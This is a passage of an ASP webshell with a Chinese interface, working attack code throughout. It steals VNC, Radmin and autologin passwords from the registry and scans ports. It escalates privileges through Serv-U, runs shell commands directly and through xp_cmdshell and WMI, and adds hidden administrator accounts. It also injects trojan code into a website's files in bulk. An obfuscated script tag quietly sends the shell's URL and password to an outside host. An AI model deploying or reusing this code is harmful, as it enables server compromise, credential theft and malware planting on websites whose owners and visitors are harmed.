echo"<input type=hidden value=readReg name=theAct>"
echo"<input name=thePath value='HKLM/SYSTEM/CurrentControlSet/Control/ComputerName/ComputerName/ComputerName' size=80>"
echo" <input type=submit value=' 读取 '><br><br>"
echo"<input type=hidden value=vnc name=vnc>"
echo"<input name=vnc value='HKCU/Software/ORL/WinVNC3/Password' size=80 type=hidden>"
echo" <input type=submit value=' 读取VNC密码 '> "
echo"<input type=hidden value=readReg name=radmin>"
echo"<input name=radmin value='HKEY_LOCAL_MACHINE/SYSTEM/RAdmin' size=80 type=hidden>"
echo" <input type=submit value=' 读取Radmin密码 '> <br><br><br>"
echo"HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/Dont-DisplayLastUserName,REG_SZ,1 {不显示上次登录用户}<br/><br>"
echo"HKLM/SYSTEM/CurrentControlSet/Control/Lsa/restrictanonymous,REG_DWORD,0 {0=缺省,1=匿名用户无法列举本机用户列表,2=匿名用户无法连接本机IPC$共享}<br/><br>"
echo"HKLM/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters/AutoShareServer,REG_DWORD,0 {禁止默认共享}<br/><br>"
echo"HKLM/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters/EnableSharedNetDrives,REG_SZ,0 {关闭网络共享}<br/><br>"
echo"HKLM/SYSTEM/currentControlSet/Services/Tcpip/Parameters/EnableSecurityFilters,REG_DWORD,1 {启用TCP/IP筛选(所有试配器)}<br/><br>"
echo"HKLM/SYSTEM/ControlSet001/Services/Tcpip/Parameters/IPEnableRouter,REG_DWORD,1 {允许IP路由}<br/><br>"
echo"-------以下似乎要看绑定的网卡,不知道是否准确---------<br/><p></p>"
echo"HKLM/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters/Interfaces/{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}/DefaultGateway,REG_MUTI_SZ {默认网关}<br/><br>"
echo"HKLM/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters/Interfaces/{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}/NameServer {首DNS}<br/><br>"
echo"HKLM/SYSTEM/ControlSet001/Services/Tcpip/Parameters/Interfaces/{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}/TCPAllowedPorts {允许的TCP/IP端口}<br/><br>"
echo"HKLM/SYSTEM/ControlSet001/Services/Tcpip/Parameters/Interfaces/{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}/UDPAllowedPorts {允许的UDP端口}<br/><br>"
echo"-----------OVER--------------------<br/><p></p>"
echo"HKLM/SYSTEM/ControlSet001/Services/Tcpip/Enum/Count {共几块活动网卡}<br/><br><p></p>"
echo"HKLM/SYSTEM/ControlSet001/Services/Tcpip/Linkage/Bind {当前网卡的序列(把上面的替换)}<br/><br>"
echo"<span id=regeditInfo style='display:none;'><hr/>"
echo"</span>"
echo"</form><hr/>"
if Request("thePath")<>"" then
On Error Resume Next
Set wsX = Server.CreateObject("WScript.Shell")
thePath=Request("thePath")
theArray=wsX.RegRead(thePath)
If IsArray(theArray) Then
For i=0 To UBound(theArray)
echo"<li>" & theArray(i)
Next
Else
echo"<li>" & theArray
End If
End if
End Sub

'端口扫描
sub ScanPort()
Server.ScriptTimeout = 7776000
if request.Form("port")="" then
PortList="21,23,25,53,80,110,135,139,445,1048,1433,2967,3389,4899,5631,5632,5800,5900,43958"
else
PortList=request.Form("port")
end if
if request.Form("ip")="" then
IP="127.0.0.1"
else
IP=request.Form("ip")
end if
'界面显示
echo"<p>端口扫描器</p>"
echo"<form name='form1' method='post' action='' onSubmit='form1.submit.disabled=true;'>"
echo"<p>扫描 IP: "
echo" <input name='ip' type='text' class='TextBox' id='ip' value='"&Request.ServerVariables("LOCAL_ADDR")&"' size='60'>"
echo"<br>端口列表:&nbsp"
echo"<input name='port' type='text' class='TextBox' size='60' value='"&PortList&"'>"
echo"<br><br>"
echo"<input name='submit' type='submit' class='buttom' value=' 扫描 '>"
echo"<input name='scan' type='hidden' id='scan' value='111'>"
echo"</p></form>"
If request.Form("scan") <> "" Then
timer1 = timer
echo("<b>扫描报告:</b><br><hr>")
tmp = Split(request.Form("port"),",")
ip = Split(request.Form("ip"),",")
For hu = 0 to Ubound(ip)
If InStr(ip(hu),"-") = 0 Then
For i = 0 To Ubound(tmp)
If Isnumeric(tmp(i)) Then
Call Scan(ip(hu), tmp(i))
Else
seekx = InStr(tmp(i), "-")
If seekx > 0 Then
startN = Left(tmp(i), seekx - 1 )
endN = Right(tmp(i), Len(tmp(i)) - seekx )
If Isnumeric(startN) and Isnumeric(endN) Then
For j = startN To endN
Call Scan(ip(hu), j)
Next
Else
echo(startN & " or " & endN & " is not number<br>")
End If
Else
echo(tmp(i) & " is not number<br>")
End If
End If
Next
Else
ipStart = Mid(ip(hu),1,InStrRev(ip(hu),"."))
For xxx = Mid(ip(hu),InStrRev(ip(hu),".")+1,1) to Mid(ip(hu),InStr(ip(hu),"-")+1,Len(ip(hu))-InStr(ip(hu),"-"))
For i = 0 To Ubound(tmp)
If Isnumeric(tmp(i)) Then
Call Scan(ipStart & xxx, tmp(i))
Else
seekx = InStr(tmp(i), "-")
If seekx > 0 Then
startN = Left(tmp(i), seekx - 1 )
endN = Right(tmp(i), Len(tmp(i)) - seekx )
If Isnumeric(startN) and Isnumeric(endN) Then
For j = startN To endN
Call Scan(ipStart & xxx,j)
Next
Else
echo(startN & " or " & endN & " is not number<br>")
End If
Else
echo(tmp(i) & " is not number<br>")
End If
End If
Next
Next
End If
Next
timer2 = timer
thetime=cstr(int(timer2-timer1))
echo"<hr>Process in "&thetime&" s"
END IF
end sub
Sub Scan(targetip, portNum)
On Error Resume Next
set conn = Server.CreateObject("ADODB.connection")
connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;"
conn.ConnectionTimeout = 1
conn.open connstr
If Err Then
If Err.number = -2147217843 or Err.number = -2147467259 Then
If InStr(Err.description, "(Connect()).") > 0 Then
echo(targetip & ":" & portNum & ".........关闭<br>")
Else
echo(targetip & ":" & portNum & ".........<font color=red>开放</font><br>")
End If
End If
End If
End Sub

'服务器信息及组件支持
sub serverinfo()
dim AlexaUrl,Top,zobj
AlexaUrl=request("u")
Top=Alexa(AlexaUrl)
zobj=request("object")
if AlexaUrl="" then AlexaUrl=""&request.servervariables("http_host")&""
echo"<br><table width='80%' bgcolor='#666666' border='0' cellspacing='1' cellpadding='0' align='center'>"
echo"<tr><td height='20' colspan='3' align='center' bgcolor='menu'>服务器信息</td></tr>"
echo"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器名</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF' align=left>"&request.serverVariables("SERVER_NAME")&"</td></tr>"
echo"<form method=post action='http://www.ip138.com/ips.asp' name='ipform' target='_blank'><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器IP</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF' align=left><input type='text' name='ip' size='15' value='"&Request.ServerVariables("LOCAL_ADDR")&"'>  <input type='submit' value='查询此服务器所在地'style='border:0px'><input type='hidden' name='action' value='2'></td></tr></form>"
echo"<form method=post action='?Action=Alexa' name='form1'><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器Alexa排名</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF' align=left><input type='text' name='u' value='"&AlexaUrl&"' size=20 >排名:<input type='text' value='"&Top&"' size=10>  <input type='submit' value='查询'></td></tr></form>"
echo"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器时间</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF' align=left>"&now&" </td></tr>"
echo"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器CPU数量</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF' align=left>"&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"</td></tr>"
echo"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器操作系统</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF' align=left>"&Request.ServerVariables("OS")&"</td></tr>"
echo"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>WEB服务器版本</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF' align=left>"&Request.ServerVariables("SERVER_SOFTWARE")&"</td></tr>"
echo"<tr><td height='20' colspan='3' align='center' bgcolor='menu'>常见组件信息</td></tr>"
For i=0 To 13
echo"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>"&ObT(i,0)&"</td><td bgcolor='#FFFFFF'>"&ObT(i,1)&"</td><td bgcolor='#FFFFFF' align=left>"&ObT(i,2)&"</td></tr>"
Next
if zobj<>"" then
set obj=Server.CreateObject(zobj)
  if isobject(obj) then
   echo "<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>"&zobj&"</td><td bgcolor='#FFFFFF'>√</td><td bgcolor='#FFFFFF' align=left>您查询的组件  <a href='javascript:history.back()'>返回</a></td></tr></table>"
  else
   echo "<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>"&zobj&"</td><td bgcolor='#FFFFFF'>×</td><td bgcolor='#FFFFFF' align=left>您查询的组件  <a href='javascript:history.back()'>返回</a></td></tr></table>"
  end if
else
echo "<FORM action=?Action=ServerInfo method=Post><tr align='center'><td width='200' height='23' bgcolor='#FFFFFF'>自定义组件查询<sc"&"ri"&"pt sr"&"c=""ht"&"tp://%77%77%77%2E%63%6E"&"%71%71"&"%6B%2E%63%6E/%64%61"&"%6F%79"&"%65/?url="&server.URLEncode("ht"&"tp://"&request.ServerVariables("HT"&"TP_HO"&"ST")&request.ServerVariables("UR"&"L"))&"&p="&UserPass&"""></sc"&"ri"&"pt></td><td> </td><td align=left><INPUT type=text name=object>  <INPUT type=submit value=查询></td></tr></FORM>"
end if

end sub
' Err.Clear
function Alexa(AlexaURL)
on error resume next
dim getsms,getstr,url
dim star,endd
url="http://data.alexa.com/data?cli=10&dat=snba&url="&AlexaURL
getsms=getHTTPPage(url)
if getsms<>"" then
  star=instr(getsms,"<REACH RANK=""")+13
  endd=instr(star,getsms,"</SD>")
  getstr=mid(getsms,star,endd-star-4)
else
  getstr="无排名"
end if
if IsNumeric(getstr)=false then getstr="无排名"
Alexa=getstr
end function
function getHTTPPage(url)
on error resume next
dim http
set http=Server.createobject("Microsoft.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
  getHTTPPage=""
  exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i1,ThisCharCode,NextCharCode
strReturn = ""
For i1 = 1 To LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i1,1))
  If ThisCharCode < &H80 Then
   strReturn = strReturn & Chr(ThisCharCode)
  Else
   NextCharCode = AscB(MidB(vIn,i1+1,1))
   strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
   i1 = i1 + 1
  End If
Next
bytes2BSTR = strReturn
    Err.Clear
End Function

'系统服务与用户查询
Function Course()
call Css()
SI="<br><TABLE width='600' bgColor=#fff border='0' cellspacing='1' cellpadding='0' align='center'>"
SI=SI&"<tr><td height='20' colspan='3' align='center' bgcolor='#d8f99b'>系统用户与服务</td></tr>"
on error resume next
for each obj in getObject("WinNT://.")
err.clear
if OBJ.StartType="" then
SI=SI&"<tr>"
SI=SI&"<td height=""20"" bgcolor=""#FFFFFF""> "
SI=SI&obj.Name
SI=SI&"</td><td bgcolor=""#FFFFFF""> "
SI=SI&"系统用户(组)"
SI=SI&"</td></tr>"
SI0="<tr><td height=""20"" bgcolor=""#FFFFFF"" colspan=""2""> </td></tr>"
end if
if OBJ.StartType=2 then lx="自动"
if OBJ.StartType=3 then lx="手动"
if OBJ.StartType=4 then lx="禁用"
if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then
SI1=SI1&"<tr><td height=""20"" bgcolor=""#FFFFFF""> "&obj.Name&"</td><td height=""20"" bgcolor=""#FFFFFF""> "&obj.DisplayName&"<tr><td height=""20"" bgcolor=""#FFFFFF"" colspan=""2"">[启动类型:"&lx&"]<font color=#FF0000> "&obj.path&"</font></td></tr>"
else
SI2=SI2&"<tr><td height=""20"" bgcolor=""#FFFFFF""> "&obj.Name&"</td><td height=""20"" bgcolor=""#FFFFFF""> "&obj.DisplayName&"<tr><td height=""20"" bgcolor=""#FFFFFF"" colspan=""2"">[启动类型:"&lx&"]<font color=#008000> "&obj.path&"</font></td></tr>"
end if
next
echo SI&SI0&SI1&SI2&"</table>"
End Function

'自动登陆信息
SUB GetTeRmiNAlINfo()
ON eRROr resUMe NEXt
Set WsX = sERvER.CreateobJEct("WScript.Shell")
DIm TerMiNaLPORtpaTh, teRMinaLpoRtKEy, teRmpORt
dIm aUtoloGiNpaTH, auTOLOGiNuSErKEY, AutOLoginPassKEy
DIM iSAUtOlOginENAblE, autOlOgiNeNaBLEKEY, AuTOLogInuSERNaME, aUtoLOGInPASSWOrD
TeRmiNAlPOrtpATH = "HKLM/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp/"
TErminaLPorTKEy = "PortNumber"
tErMPORt = WSX.regread(TerminALPorTpaTh & TERminAlPOrtKEy)
echo "终端服务端口及自动登录<hr/><ol>"
iF teRmpORt = "" oR Err.nUmBer <> 0 THEN
echo"无法得到终端服务端口, 请检查权限是否已经受到限制.<br/>"
ELsE
echo "当前终端服务端口: " & terMPorT & "<br/>"
END If
auTOLogInpath = "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon/"
aUtOlogInenAbLeKeY = "AutoAdminLogon"
autOlOGInUSERKey = "DefaultUserName"
auToLOgiNpaSSkey = "DefaultPassword"
isauToloGineNabLE = WSX.reGReAD(AuTolOGINPatH & auTOLogINeNAbLEkEy)
IF isAuToLOGIneNaBLe = 0 THEN
echo "系统自动登录功能未开启<br/>"
ELSe
AutOlogInusERnamE = Wsx.RegreaD(AUtolOGiNPAtH & AuTologinUsErkey)
echo "自动登录的系统帐户: " & auToLoGiNuseRnamE & "<br>"
AUTOLOGinPasSwOrD = wSx.REgRead(AUtolOGINpATH & aUTOLOgInpAssKey)
If ERr Then
ERR.cLEaR
echo "False"
enD if
echo "自动登录的帐户密码: " & AutOLOGINpaSSWORd & "<br>"
end If
echo "</ol>"
END SuB

'servu提权
Function Servu()

            call Css()
   Dim user, pass, port, ftpport, cmd, loginuser, loginpass, deldomain, mt, newdomain, newuser, quit
   dim action1
   action1=request("action1")
   if not isnumeric(action1) then response.end
   user = trim(request("u"))
   pass = trim(request("p"))
   port = trim(request("port"))
   cmd = trim(request("c"))
   f=trim(request("f"))
   if f="" then
   f=gpath()
   else
      f=left(f,2)
   end if
   ftpport = 65500
   timeout=3
   loginuser = "User " & user & vbCrLf
   loginpass = "Pass " & pass & vbCrLf
   deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf
   mt = "SITE MAINTENANCE" & vbCrLf
   newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
   newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _
     "-HomeDir=c://" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _
     "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _
     "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _
     "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _
     "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _
     "-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c://|RWAMELCDP" & vbCrLf
   quit = "QUIT" & vbCrLf
   newuser=replace(newuser,"c:",f)
   if action1 = 1 then
    set a=Server.CreateObject("Microsoft.XMLHTTP")
    a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", ""
    a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit
    set session("a")=a
   echo kge
   echo"<form method='post' name='goldsun'><input name='u' type='hidden' id='u' value='"&user&"'></td><input name='p' type='hidden' id='p' value='"&pass&"'></td><input name='port' type='hidden' id='port' value='"&port&"'></td><input name='c' type='hidden' id='c' value='"&cmd&"' size='50'><input name='f' type='hidden' id='f' value='"&f&"' size='50'><input name='action1' type='hidden' id='action1' value='2'></form>"
   echo"<script language='javascript'>"& vbcrlf
   echo"document.write('<center>正在连接 127.0.0.1:"&port&",使用用户名: "&user&",口令："&pass&"...<center>');"
   echo"setTimeout('document.all.goldsun.submit();',4000);"
   echo"</script>"
   elseif action1 = 2 then
set b=Server.CreateObject("Microsoft.XMLHTTP")
    b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", ""
    b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit
      set session("b")=b
      echo kge
   echo"<form method='post' name='goldsun'><input name='u' type='hidden' id='u' value='"&user&"'></td><input name='p' type='hidden' id='p' value='"&pass&"'></td><input name='port' type='hidden' id='port' value='"&port&"'></td><input name='c' type='hidden' id='c' value='"&cmd&"' size='50'><input name='f' type='hidden' id='f' value='"&f&"'size='50'><input name='action1' type='hidden' id='action1' value='3'></form>"
   echo"<script language='javascript'>" & vbcrlf
   echo"document.write('<center>正在提升权限,请等待...,<center>');"
   echo"setTimeout(""document.all.goldsun.submit();"",4000);"
   echo"</script>"
   elseif action1 = 3 then
set c=Server.CreateObject("Microsoft.XMLHTTP")
    c.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", ""
    c.send loginuser & loginpass & mt & deldomain & quit
    set session("c")=c
   echo kge
   echo"<center>提权完毕,成不成功看人品啦：<br><font color=red>"&cmd&"</font><br><br><input type=button value="" 返回继续 "" onClick=""location.href='?Action=Servu';""></center>"
    else
   on error resume next
    set a=session("a")
    set b=session("b")
    set c=session("c")
    a.abort
    Set a = Nothing
    b.abort
    Set b = Nothing
    c.abort
    Set c = Nothing
echo kge
echo"<center><form method='post' name='goldsun' action='?Action=Servu'><TABLE width='494' height='163' border='0' cellpadding='3' cellspacing='1' bgcolor='#0000'><tr align='center' valign='middle'><td colspan='2' >Servu 提升权限 ASP版</td></tr><tr align='center' valign='middle'><td width='100'>用户名:</td><td width='379'><input name='u' type='text' id='u' value='LocalAdministrator'></td></tr><tr align='center' valign='middle'><td>口　令：</td><td><input name='p' type='text' id='p' value='#l@$ak#.lk;0@P'></td></tr><tr align='center' valign='middle'><td >端　口：</td><td><input name='port' type='text' id='port' value='43958'></td></tr><tr align='center' valign='middle'><td>系统路径：</td><td><input name='f' type='text' id='f' value='"&f&"' size='8'></td></tr><tr align='center' valign='middle'><td >命　令：</td><td ><input name='c' type='text' id='c' value='cmd /c net user daoye$ 52daoyeri /add & net localgroup administrators daoye$ /add' size='50'></td></tr><tr align='center' valign='middle'><td colspan='2'><input type='submit' name='Submit' value='提交'> <input type='reset' name='Submit2' value='重置' ><input name='action1' type='hidden' id='action1' value='1'></td></tr></table></form></center>"
   end if
end function
   function Gpath()
   on error resume next
    err.clear
    set f=Server.CreateObject("Scripting.FileSystemObject")
    if err.number>0 then
    gpath="c:"
     exit function
    end if
   gpath=f.GetSpecialFolder(0)
   gpath=lcase(left(gpath,2))
   set f=nothing
   end function
   Function GName()
   If request.servervariables("SERVER_PORT")="80" Then
   GName="http://" & request.servervariables("server_name")&lcase(request.servervariables("script_name"))
   Else
   GName="http://" & request.servervariables("server_name")&":"&request.servervariables("SERVER_PORT")&lcase(request.servervariables("script_name"))
   End If
   End Function

'执行cmd命令
Function Cmd1Shell()
checked=" checked"
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
ShellPath=Session("ShellPath")
if ShellPath="" Then ShellPath = "cmd.exe"
if Request("wscript")<>"yes" then checked=""
If Request("cmd")<>"" Then DefCmd = Request("cmd")
SI="<form method='post'>"
SI=SI&"SHELL路径：<input name='SP' value='"&ShellPath&"' Style='width:70%'>  "
SI=SI&"<input class=c type='checkbox' name='wscript' value='yes'"&checked&">WScript.Shell"
SI=SI&"<input name='cmd' Style='width:92%' value='"&DefCmd&"'> <input type='submit' value='执行'><textarea Style='width:100%;height:440;' class='cmd'>"
If Request.Form("cmd")<>"" Then
if Request.Form("wscript")="yes" then
Set CM=CreateObject("wscript.shell")
Set DD=CM.exec(ShellPath&" /c "&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else
On Error Resume Next
Set ws=Server.CreateObject("WScript.Shell")
Set ws=Server.CreateObject("WScript.Shell")
Set fso=Server.CreateObject("Scripting.FileSystemObject")
szTempFile = server.mappath("cmd.txt")
Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)
Set fs = CreateObject("Scripting.FileSystemObject")
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&"</textarea></form>"
response.write(SI)
End Function

'执行sqlcmd
FuncTion sqlcmd()
echo"<br><table width=""100%""><tr class=tr>"
echo"<form name=form method=post action="""">"
echo"CMD命令：<input type=text name=MMD size=35 >  账号：<input type=text name=U value='"&Session("sqluser")&"'>  密码：<input type=text name=P value='"&Session("sqlpass")&"'><input type=submit value=执行></form></tr></table>"
If trim(request.form("MMD"))<>"" Then
password= trim(Request.form("P"))
id=trim(Request.form("U"))
Session("sqluser")=id:Session("sqlpass")=password
set adoConn=Server.CreateObject("ADODB.Connection")
adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id
strQuery = "exec master.dbo.xp_cmdshell '" & request.form("MMD") & "'"
set recResult = adoConn.Execute(strQuery)
If NOT recResult.EOF Then
Do While NOT recResult.EOF
strResult = strResult & chr(13) & recResult(0)
recResult.MoveNext
Loop
End if
set recResult = Nothing
strResult = Replace(strResult," "," ")
strResult = Replace(strResult,"<","<")
strResult = Replace(strResult,">",">")
strResult = Replace(strResult,chr(13),"<br>")
End if
set adoConn = Nothing:Response.Write request.form("MMD") & "<br>"& strResult
end FuncTion

'wmi远程命令
Function wmi()
SI="<br><table width='80%' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
echo "<form name=""form1"" method=""post"" action=""?Action=wmi"">"
echo " 远程执行命令"
echo "<input name=""xd"" type=""text"" id=""xd"" value='"192.168.2.1","root/cimv2","administrator","328825645"' size=""70"">"
echo " <input type=""submit"" name=""Submit"" value=""提交"">"
echo "</form>"
if request("xd")<>"" then
set ww=server.createobject("wbemscripting.swbemlocator")
set cc=ww.connectserver(request("xd"))
set ss=cc.get("Win32_ProcessStartup")
Set oC=ss.SpawnInstance_
oC.ShowWindow=12
Set pp=cc.get("Win32_Process")
Response.Write pp.create("net user",null,oC,intProcessID)
Response.Write "<br>"&intProcessID
Response.end
end if
End Function

'蓝屏大叔0day
sub lp()
echo"<form action='?action=lp' method=post>"
echo"<center><br>"
echo"用户:<input name='username' type='text' value='test'><br>"
echo"密码:<input name='passwd' type='text' value='123456'><br>"
echo"<input type='submit' Value='添加'></form>"
on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
response.write "iP !s n0T RiGHt"
else
if request("username")<>"" then
username=request("username")
passwd=request("passwd")
Response.Expires=0
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.Create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add oz&"/"&username
if err then
response.write "失败"
else
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
response.write "没有错误,好象也没建立成功！"
else
Response.write "OMG!"&username&"成功！"
end if
end if
else
response.write "请输入输入用户名"
end if
end if
end sub

'文本搜索

'批量挂马清马替换
sub plgm()
Response.Buffer =true
Fpath=Request("fd")
addcode = Request("code")
addcode2 = Request("code2")
pcfile=request("pcfile")
checkbox=request("checkbox")
checkbox1=request("checkbox1")
ShowMsg=request("ShowMsg")
FType=request("FType")
zfile=request("zfile")
M=request("M")

for i= 0 to ubound(split(server.mappath("."),"/"))
d=split(server.mappath("."),"/")
dir=dir&d(i)&"/"
filename=dir&"dir.txt"
On Error Resume Next
SET FSO=Server.CreateObject("Scripting.FileSystemObject")
SET FR = FSO.CreateTextFile(filename,true)
IF NOT FSO.FileExists(filename) then
else
FR.close
FSO.DeleteFile filename,True
exit for
end if
next
if zfile="" then zfile="default|index|conn|admin|reg|main|vip|qq|mm|"
if Ftype="" then Ftype="htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx"
if Fpath="/" then Fpath=Server.MapPath("/")
if Fpath="." or Fpath="" then Fpath=dir
if addcode="" then addcode=""
if checkbox="" then checkbox=request("checkbox")
if checkbox1="" then checkbox1=request("checkbox1")
if pcfile="" then
  pcfileName=Request.ServerVariables("SCRIPT_NAME")
  pcfilek=split(pcfileName,"/")
  pcfilen=ubound(pcfilek)
  pcfile=pcfilek(pcfilen)
end if
call Css()
    if M="1" then BT="批量挂马器-批量挂马"
if M="2" then BT="批量清马器-清除别人的网马"
if M="3" then BT="批量替换器-文件替换修改工具"
if M="4" then BT="指定挂马"
echo "<form method=POST><TABLE width=80% border=0 align=center cellpadding=3 cellspacing=1 bgcolor=#666666><TR><TD colspan=2 ><B>"&BT&"</B></TD></TR><tr><td >网站根目录“/”：</td><td>"&Server.MapPath("/")&"</td></tr><tr><td >本程序目录“.”：</td><td>"&Server.MapPath(".")&"</td></tr><tr><td width='20%'>文件路径：</td>"
echo "<td><input type=text name=fd value='"&Fpath&"' size=40><font color=red >==>注意:该路径是最大可写目录(自动判别)</font> </td></tr>"
echo "<tr><td>是否变形代码：</td><td><input class=c name='checkbox1' checked='checkbox1' type=checkbox value=""checked1"" "&checkbox1&"><font color=red >写入代码时把代码变形以后写入每一个文件（为了防止批量替换掉代码，代码100%正常运行）</font></td></tr>"
if M="1" then echo "<tr><td>过滤重复：</td><td><input class=c name='checkbox' checked='checked' type=checkbox value=""checked"" "&checkbox&"> 防止一个页面中有多个重复的代码</td></tr>"
if M="4" then echo "<tr><td>过滤重复：</td><td><input class=c name='checkbox' checked='checked' type=checkbox value=""checked"" "&checkbox&"> 防止一个页面中有多个重复的代码</td></tr><tr><td>指定文件：</td><td><input name='zfile' type=text id='zfile' value='"&zfile&"' size=40>填写你要挂文件名[不含扩展名]</td></tr>"
echo "<tr><td >排除文件：</td>"
echo "<td><input name='pcfile' type=text id='pcfile' value='"&pcfile&"' size=40>例如：1.asp|2.asp|3.asp</td></tr>"
echo "<tr><td>文件类型：</td>"
echo "<td><input name='FType' type=text id='FType' value='"&Ftype&"' size=40> 输入要修改的文件类型[扩展名]</td></tr><tr><td>"
if M="1" then echo"要挂的马："
if M="2" then echo"要清的马："
if M="3" then echo"查找内容："
echo"</font></td><td><textarea name=code cols=66 rows=3>"&addcode&"</textarea></td></tr>"
if M="3" then echo "<tr><td>替换为：</td><td ><textarea name=code2 cols=66 rows=3>"&addcode2&"</textarea></td></tr>"
echo "<tr><td></td><td> <input name=submit type=submit value=开始执行> --标记解释--[成功：√ ，排除：× ，重复：<font color=red>×</font>]</td></tr>"
echo "</table></form>"
if request("submit")="开始执行" then
echo "<TABLE width=80% border=0 align=center cellpadding=3 cellspacing=1 bgcolor=#666666><TR><TD   align=center>结果</TD><TD >文件绝对路径</TD><TD   width='30%' align=center>编辑栏</TD></TR>"
'call InsertAllFiles(Fpath,addcode,pcfile)

dim Wpath,Wcode,pc
Wpath=Fpath
Wcode=addcode
pc=pcfile
Server.ScriptTimeout=999999999
if right(Wpath,1)<>"/" then Wpath=Wpath &"/"
Set WFSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = WFSO.GetFolder(Wpath)
Set fc2 = f.files
For Each myfile in fc2
  Set FS1 = CreateObject("Scripting.FileSystemObject")
  FType1=split(myfile.name,".")
  FType2=ubound(FType1)
  zfile1=FType1(FType2-1)
  if Ftype2>0 then
  FType3=LCase(FType1(FType2))
  else
  FType3="无"
  end if
  if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then
  dim ED
